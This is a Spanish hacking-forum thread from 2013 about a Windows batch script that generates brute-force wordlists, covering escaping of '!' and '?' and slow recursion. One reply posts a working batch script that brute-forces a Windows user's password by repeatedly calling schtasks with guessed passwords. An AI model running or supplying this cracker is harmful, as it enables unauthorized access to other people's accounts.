Hola gente, les comento que estoy haciendo una pequeña aplicación en batch que genera un diccionario con la cantidad de caracteres que el usuario desee.
El sistema en términos básicos sería:
- suponiendo que se ingresó un máximo de 4 caracteres por palabras -
aaaa
aaab
aaac
aaad
aaae
aaaf
...
aaaz
aaa0
aaa1
- y así constantemente -
El problema es que no puedo hacer que salgan los caracteres ! y ?.
Les dejo el código para que lo lean y me den una pequeña ayuda si es posible.
Gracias de antemano.
@echo off
title Diccionario
setlocal enabledelayedexpansion
set chars=a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,w,w,x,y,z,0,1,2,3,4,5,6,7,8,9,!,?,#,@,.
set ini=0
set wor=0
set /p lenght=Lenght:
call :generar
pause
exit
:generar
set /a wor+=1
title Palabra %wor%
if %ini% neq %lenght% (
set /a ini+=1
for %%c in (!chars!) do call :generate %~1%%~c
set /a ini-=1
) else (
set cadena=%~1
echo.!cadena!
echo.!cadena!>>diccionario_!lenght!.txt
)
goto:eof
Escapa:
Echo ^^!
Saludos
Cita de: EleKtro H@cker en 17 Julio 2013, 03:55 AM
Escapa:
Echo ^^!
Saludos
Gracias por tu respuesta, pero lamentablemente me devuelve un valor nulo, no el símbolo tal.
Intenté tanto con
^ como con
^^ y nada.
Cita de: zikotik en 17 Julio 2013, 03:59 AMIntenté tanto con ^ como con ^^ y nada.
Lo que te dije funciona para mostrar el caracter conflictivo "!" cuando la expansión de variables está activada como lo está en el código que has mostrado:
setlocal enabledelayedexpansion
Echo ^^!
...Óbviamente es un ejemplo que debes adaptar al resto de tu código.
Yo diréctamente te diría que los temas complicados y donde se maneja mucho texto lo tratases en
cualquier otro lenguaje que no sea Batch, pero si reálmente estás dispuesto a hacerlo sólo en Batch y si además quieres incluir los caracteres conflictivos
"!" "?" pues entonces el code no va a poder quedar tán perfecto ni simplificado como deseas.
De todas formas no necesitas usar enabledelayedexpansion en el código.
@echo off
title Diccionario
set "chars=a b c d e f g h i j k l m n o p q r s t u w w x y z 0 1 2 3 4 5 6 7 8 9 ! ."
set /A "ini=0"
set /A "wor=0"
set /p lenght=Lenght:
call :generar
pause&exit
:generar
set /a "wor+=1"
title Palabra "%wor%"
if %ini% neq %lenght% (
set /a "ini+=1"
for %%c in (%chars%) do (call :generar %~1%%c)
set /a "ini-=1"
) else (
echo.%1
echo.%1>>"diccionario_%lenght%.txt"
)
goto:eof
Aquí tienes una alternativa funcional para mostrar los dos caracteres:
@echo off
title Diccionario
rem set "chars=a b c d e f g h i j k l m n o p q r s t u w w x y z 0 1 2 3 4 5 6 7 8 9 ! ? ."
set /A "ini=0"
set /A "wor=0"
(
Echo a
Echo b
Echo c
Echo bla bla bla
Echo bla bla bla
Echo !
Echo ?
)>"%TEMP%\chars.txt"
set /p lenght=Lenght:
call :generar
pause&exit
:generar
set /a "wor+=1"
title Palabra "%wor%"
if %ini% neq %lenght% (
set /a "ini+=1"
for /F %%c in ('type "%TEMP%\chars.txt"') do (call :generar %~1%%c)
set /a "ini-=1"
) else (
echo.%1
echo.%1>>"diccionario_%lenght%.txt"
)
goto:eof
Tampoco me voy a esmerar mucho más tratándose de Batch y sus limitaciones.
Saludos!
Cita de: EleKtro H@cker en 17 Julio 2013, 04:47 AM
Lo que te dije funciona para mostrar el caracter conflictivo "!" cuando la expansión de variables está activada como lo está en el código que has mostrado:
...
Bueno... la única manera es sacando el "!" y el "#".
Podría usar el C++, pero no se me ocurre cómo.
No le puedo sacar la lógica sinceramente, intenté con while(), for(), if() y nada...
por otro lado... que tan rapido podria ser batch para esto? :s
Cita de: engelx en 17 Julio 2013, 19:23 PM
por otro lado... que tan rapido podria ser batch para esto? :s
Nada rápido... digamos que si ponemos una longitud de 4 caracteres, en batch se tardaría 1 hora o un poco más en escribir una lista completa de una longitud de 4 caracteres con una diversidad de 40 caracteres (más de 23720000 líneas).
@zikotik
Si además muestras el output en la CMD, la rapidez disminuye x2, te lo digo por experiencia, no hagas esto en Batch.
Saludos
Esta es la forma más eficiente de trabajar con generadores de diccionarios por fuerza bruta que conozco en batch, muchísimo más rápido que el método recursivo que estás intentando implementar. Échale un vistazo con calma, que es bastante enrevesado.
@echo off
setlocal enabledelayedexpansion
color 01&more/c<nul
set /p "user_name=*Username: "
set /p "max_lengh=*Length limit: "
set "chr_lst=a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z"
set "cmd_gen.a=" & set "cmd_gen.b=" & set "cmd_gen.c="
set "chr_for="
set /a psw_lengh=0
set /a chr_cnt=0
set "task_name=%random%"
echo: -----Working...
:_loop.gen
setlocal
set /a psw_lengh+=1
if %psw_lengh% gtr %max_lengh% goto :_np
for %%i in (%chr_lst%) do (
if !chr_cnt! LSS %psw_lengh% (
set "chr_for=!chr_for!,%%i"
set/a chr_cnt+=1
)
)
for %%i in (%chr_for%) do set "cmd_gen.a=!cmd_gen.a!for %%%%i in (%chr_lst%) do ("
for %%i in (%chr_for%) do set "cmb_chr=!cmb_chr!%%%%i"
set "cmd_gen.b=schtasks /create /tn "%task_name%" /tr "cmd /c exit" /sc ONCE /st 00:00 /ru %user_name% /rp %cmb_chr%>nul 2>&1&&call:_yp %cmb_chr%"
for %%i in (%chr_for%) do set "cmd_gen.c=!cmd_gen.c!)"
%cmd_gen.a%%cmd_gen.b%%cmd_gen.c%
endlocal & set /a psw_lengh=%psw_lengh%
goto :_loop.gen
:_yp
schtasks /delete /tn "%task_name%" /f 1>nul 2>&1
echo.&echo:Password: %~1 & pause 1>nul
exit
:_np
echo.&echo: Password not found. & pause 1>nul
exit
Bueno... como ves aquí lo apliqué para el cracking de el password de un usuario de Windows ;)
http://foro.elhacker.net/scripting/batch_ice_gen_10_generador_de_wordlistcombolistwepwpaserialcookiesip-t351916.0.html (http://foro.elhacker.net/scripting/batch_ice_gen_10_generador_de_wordlistcombolistwepwpaserialcookiesip-t351916.0.html)
ahí un generador que hizo el elektro ;)